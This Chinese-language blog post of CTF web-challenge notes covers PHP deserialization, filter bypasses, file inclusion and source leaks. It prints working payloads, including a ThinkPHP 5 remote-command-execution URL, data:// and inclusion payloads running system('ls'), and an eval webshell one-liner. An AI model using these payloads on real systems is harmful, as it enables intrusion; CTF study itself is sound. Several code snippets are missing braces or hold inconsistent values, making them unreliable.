PHP渗透测试题目笔记
Posted Zeker62
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了PHP渗透测试题目笔记相关的知识,希望对你有一定的参考价值。
文章目录
- 最简单反序列化漏洞
- 陷阱题 PHP反序列化漏洞
- PHP魔术方法执行顺序
- CTFHub-2020网鼎杯AreUSerialz
- 攻防世界:unserialize3题目解析
- 攻防世界:PHP2
- 攻防世界:favorite_number
- 攻防世界:Web_php_unserialize
- 攻防世界:php_rce
- 攻防世界:Web_php_include
- CTFHub:网站源码泄露
- CTFHub:vim缓存泄露
- CTFHub:.DS_Store 泄露
- 攻防世界:ics-07 PHP代码审计
最简单反序列化漏洞
简单实例,如下是一串简单的php代码,index.php里面包含了flag.php 这个文件
<?php
// 关闭错误报告
error_reporting(0);
include "flag.php";
$key="020202";
$str=$_GET['str'];
if(unserialize($str)==="$key")
echo "$flag";
show_source(__FILE__);
//show_source() 函数对文件进行语法高亮显示。
?>
flag.php文件内容如下
<?php
$flag="flag020202020020"
?>
逻辑解释:当通过URL传递参数到str变量中,如果传递的变量反序列化
出来与"$key"相同(三个等于号),那么就输出flag.php里面的flag参数内容,所以可以在URL中输入:
http://127.0.0.1/web/serialize/index.php?str=s:6:"22020202";
在不确定是什么形式的序列化字符串,可以去在线工具里尝试
<?php
$key=020202;
echo serialize($key);
?>
// i:8322;
陷阱题 PHP反序列化漏洞
下面是一个反序列化漏洞的陷阱CTF题目
<?php
error_reporting(0);
// 隐藏报错内容
include("flag.php");
$cookie=$_COOKIE['Bob'];
if(isset($_GET['hint']))
show_source(__FILE__);
elseif(unserialize($cookie)==="$key")
echo "$flag";
else
$key="123456";
?>
从代码可以看到,代码获取Bob的cookie内容,然后与key元素作比较,如果反序列化出来内容相同,则输出flag,但是这里面有两个陷阱:
- 在渗透时,只有输入
?hint=
的时候才会展示出源代码,而后面的内容则不再执行下去,即hint值存在才会展示源代码,但是一旦展示源代码,后面的内容则不再执行
- 代码执行顺序的陷阱,
key的值只有在else条件下才会被赋值,所以之前与cookie比较的值为空值
根据内容,此题的正确解法修改的cookie内容:
Cookie: Bob=s:0:"";
PHP魔术方法执行顺序
__construct(),类的构造函数
__destruct(),类的析构函数
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),获得一个类的成员变量时调用
__set(),设置一个类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__sleep(),执行serialize()时,先会调用这个函数
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息
范例
例如下面的代码执行顺序
<?php
error_reporting(0);
class ABC
public $test;
function __construct()
$test=1;
echo "调用了构造函数<br>";
function __destruct()
echo "调用了析构函数<br>";
function __wakeup()
echo "调用了苏醒函数<br>";
echo "创建对象a<br>";
$a=new ABC();
echo "序列化<br>";
$a_ser=serialize($a);
echo "反序列化<br>";
$a_unser=unserialize($a_ser);
echo "对象快要死了";
// 创建对象a
// 调用了构造函数
// 序列化
// 反序列化
// 调用了苏醒函数
// 对象快要死了调用了析构函数
// 调用了析构函数
CTFHub-2020网鼎杯AreUSerialz
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler
protected $op;
protected $filename;
protected $content;
function __construct()
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
public function process()
if($this->op == "1")
$this->write();
else if($this->op == "2")
$res = $this->read();
$this->output($res);
else
$this->output("Bad Hacker!");
private function write()
if(isset($this->filename) && isset($this->content))
if(strlen((string)$this->content) > 100)
$this->output("Too long!");
die();
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
else
$this->output("Failed!");
private function read()
$res = "";
if(isset($this->filename))
$res = file_get_contents($this->filename);
return $res;
private function output($s)
echo "[Result]: <br>";
echo $s;
function __destruct()
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
function is_valid($s)
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
if(isset($_GET'str'))
$str = (string)$_GET['str'];
if(is_valid($str))
$obj = unserialize($str);
代码逻辑:
- 传入参数str,将其转换为字符串类型,判断是否是ASCII在32到125之间的内容
反序列化str参数
之前,自动调用__wakeup()
魔术方法- 调用析构函数
__destruct()
如果op 参数为 “2”,则自动转换成“1”,将content转换为“”,并调用process()
函数 - 在
process()
函数里判断op的值来决定读写,即读取并输出flag.php
中的值
解题方法:
-
这有一个反序列化的函数
unserialize()
,就说明需要传入序列化参数 -
析构函数中存在过滤,可以利用
===
和==
的差异性进行绕过 -
需要熟悉魔术函数的调用顺序,即
__wakeup() -> unserialize() -> __destruct()
-
执行代码:
<?php class FileHandler protected $op=' 2'; //绕过检测 protected $filename="flag.php"; protected $content="yzp"; $flag=new FileHandler(); $flag_1=serialize($flag); echo $flag_1; ?>
获得序列化字符串
O:11:"FileHandler":3:s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:3:"yzp";
最后在URL上传入参数即可
总结:
强弱类型对比是一个绕过PHP检测的方法,== 只比较值而不比较类型,=== 是类型和值都必须相同
此外,魔术方法的调用顺序需要仔细掌握
攻防世界:unserialize3题目解析
题目原题
解题:
- 传参为code
- 如果魔术方法
__wakeup()
被调用的话会导致程序的退出
关键:
- 在调用反序列化魔术方法__unserialize()的时候会调用
__wakeup()
魔术方法 - 错误的序列化代码可以防止
__wakeup()
的调用
生成序列化代码
<?php
class xctf
public $flag='111';
$flag=new xctf;
$str=serialize($flag);
echo $str;
?>
O:4:"xctf":1:s:4:"flag";s:3:"111";
只需修改数字,错误的序列化就行,比如:
O:4:"xctf":2:s:4:"flag";s:3:"111";
flag就能生成
攻防世界:PHP2
通过目录暴力查找,找到了index.phps文件,内容题目是源代码
题目解析
关键:
- 浏览器自己会进行URL的解码
- 之后代码又会进行URL解码
- 所以需要经过两次URL encode
?id=%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65
攻防世界:favorite_number
题目分析:
关键:
- 数组溢出漏洞:此时构造4294967296即为0,即可以认为
stuff[0]=stuff[4294967296]
,所以绕过第一层过滤可以是:stuff[4294967296]=admin&stuff[1]=user
- m 代表的是多行匹配,所以,只要第一行匹配成功,随后的内容便不再匹配
%0a
是回车转码,所以可以传递参数` num=6666%0a ls - 最后一层过滤是防止恶意代码,但是可以使用inode代码,
ls -i /
tac `find / -inum [inode代码]`
自然还有别的办法,百度
攻防世界:Web_php_unserialize
题目解析
解题关键:
- 正则表达式的过滤,可以使用
O:+4:"Demo"
来代替O:4:"Demo"
。 - base64的解码表示传入数据必须是base64编码
- 不让
__wakeup()
魔术方法的执行方法就是传入错误的序列化,比如O:+4:"Demo":2:s:10:"Demofile";s:8:"fl4g.php";
坑点(百度):
这里的 file 变量为私有变量,所以序列化之后的字符串开头结尾各有一个空白字符(即%00),字符串长度也比实际长度大 2,如果将序列化结果复制到在线的 base64 网站进行编码可能就会丢掉空白字符,所以这里直接在php 代码里进行编码。类似的还有 protected 类型的变量,序列化之后字符串首部会加上%00*%00
生成脚本
<?php
class Demo
private $file='fl4g.php';
$f=new Demo();
$b=serialize($f);
$b=str_replace('O:4', 'O:+4', $b)
$b=str_replace('1:','2:',$b)
echo base64_encode($b)
?>
攻防世界:php_rce
解题:
- 使用dirsearch和御剑,扫出来robots.txt ,但是里面的内容没什么关键的东西
- 百度ThinkPHPV5框架的漏洞,发现有远程命令执行漏洞的payload可以使用:
http://your-ip:8080?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=[your-cmd]
渗透过程:
攻防世界:Web_php_include
解题关键:
- 不能使用php://伪协议进行渗透
- 找到flag文件进行文件包含
解法1:SSRF+文件包含
- page参数会包含值,由于权限问题,我们不能通过浏览器直接向hello传递参数然后执行PHP代码
- 让page包含
http://127.0.0.1/index.php
- 传递参数
hello=<?system('ls');?>
(不是<?php ?>)来查找flag文件 - 最后读取flag文件
payload
http://your-ip:8080?page=http://127.0.0.1/index.php?hello=<?system('ls');?>
http://your-ip:8080?page=http://127.0.0.1/index.php?hello=<?show_source('fl4gisisish3r3.php');?>
解法2:PHP伪协议 data://text/plain
输出当前所在目录路径
http://111.200.241.244:58702/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT'];?>
输出当前目录文件内容:
http://111.200.241.244:58702/?page=data://text/plain,<?php print_r(scandir('/var/www'));?>
输出源代码
http://111.200.241.244:58702/?page=data://text/plain,<?php show_source('fl4gisisish3r3.php');?>
也可以使用base64的形式,+号要使用URL编码变成%2b
http://111.200.241.244:58702/?page=data://text/plain;base64,PD9waHAgc2hvd19zb3VyY2UoJ2ZsNGdpc2lzaXNoM3IzLnBocCcpOz8%2b
CTFHub:网站源码泄露
使用脚本破解即可:
import requests
url="http://challenge-7e05b5df83247052.sandbox.ctfhub.com:10800"
frist=['web','website','backup','back','www','wwwroot','temp']
secound=['.tar','.tar.gz','.zip','.rar']
for i in frist:
for j in secound:
url_test=url+"/"+i+j
print(url_test)
r=requests.get(url_test)
r.encoding='utf-8'
get_file=r.text
if '404' not in get_file:
print(get_file)
CTFHub:vim缓存泄露
比如index.php使用vim的时候会留有.index.php.swp
后缀的文件(前面有个点)
还原缓存文件:
vim -r index.php.swp
CTFHub:.DS_Store 泄露
.DS_Store 是 Mac OS 保存文件夹的自定义属性的隐藏文件。通过.DS_Store可以知道这个目录里面所有文件的清单
。
使用方法:在Linux里面直接cat
工具:ds_store_exp https://github.com/lijiejie/ds_store_exp
递归生成文件,python2
攻防世界:ics-07 PHP代码审计
第一层过滤
SQL查询特点,当属性值为字符串的时候,如果此字符串不是纯数字,会取最前面的纯数字内容
根据过滤的内容,可以注入?id=1-9&page=flag.php
,发现admin被回显出来。
此过滤有漏洞,就是该正则表达式只能检测最后一个后缀名,所以可以依靠漏洞用post注入一句话木马:con=<?php @eval($_POST['password']);?>&file=../a.php/.
之后借用中国蚁剑可以找到flag.php,里面就是flag
以上是关于PHP渗透测试题目笔记的主要内容,如果未能解决你的问题,请参考以下文章